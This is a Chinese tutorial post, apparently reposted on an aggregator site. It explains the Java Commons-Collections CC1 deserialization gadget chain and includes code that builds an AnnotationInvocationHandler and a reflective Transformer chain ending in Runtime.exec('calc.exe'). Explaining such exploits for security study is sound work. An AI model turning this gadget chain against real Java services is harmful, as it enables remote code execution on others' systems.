ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

java安全之CC1浅学(2)

2022-11-11 13:18:04  阅读:327  来源: 互联网

标签:java 函数 学习 系统 语言 平台 方法 安装 QML c++ 数据


AnnotationInvocationHandler

前面说过,触发漏洞的核心,在于需要向Map中加入新的元素,在上一篇中,我们是手动执行行 outerMap.put("test", "xxxx");来触发漏洞的,所以在实际反序列化利用的时候,时,我们需要找到一个 类,它在反序列化的readObject逻辑里有类似的写入操作。

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们查看它的readObject方法(这是8u71以前的代码,8u71以后做了一些修改)

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
     // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
            }catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
            // If there are annotation members without values, that
            // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue:memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) { // i.e. member still exists
             Object value = memberValue.getValue();
              if (!(memberType.isInstance(value) ||
                 value instanceof ExceptionProxy)) {
                   memberValue.setValue(
                     new AnnotationTypeMismatchExceptionProxy(
                       value.getClass() + "[" + value + "]").setMember(
                         annotationType.members().get(name)));
            }
           }
        }
}

核心逻辑就是 Map.Entry memberValue : memberValues.entrySet() 和 memberValue.setValue(...)

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它 的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码

所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来

Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

这里因为sun.reflect.annotation.AnnotationInvocationHandler是在JDK内部的类,不能直接使用new来实例化。可以使用反射获取它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map

这里有两个问题:什么是Annotation类?为什么这里使用 Retention.class ?

需要反射#

上面我们构造了一个AnnotationInvocationHandler对象,它就是我们反序列化利用链的起点了。我们通过如下代码将这个对象生成序列化流:

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

我们和上一篇文章的payload组成一个完整的POC。我们试着运行这个POC,看看能否生成序列化数据流

在writeObject的时候出现异常了: java.io.NotSerializableException: java.lang.Runtime

原因是Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是 Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable接口的,所以不允许被序列化的。

在前边的《Java安全之反射》一篇中,提到可以通过反射来获取当前上下文中的Runtime对象,而不需要直接使用这个类:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

转换成Transformer的写法就是如下:

Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
};

这里我们将Runtime.getRuntime() 换成了 Runtime.class ,前者是一个 java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化的。

这里是传入一个Runtime.class,通过反射拿到Runtime.getRuntime(),然后再反射拿到invoke方法,再反射拿到exec方法。

标签:java,函数,学习,系统,语言,平台,方法,安装,QML,c++,数据
来源:

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有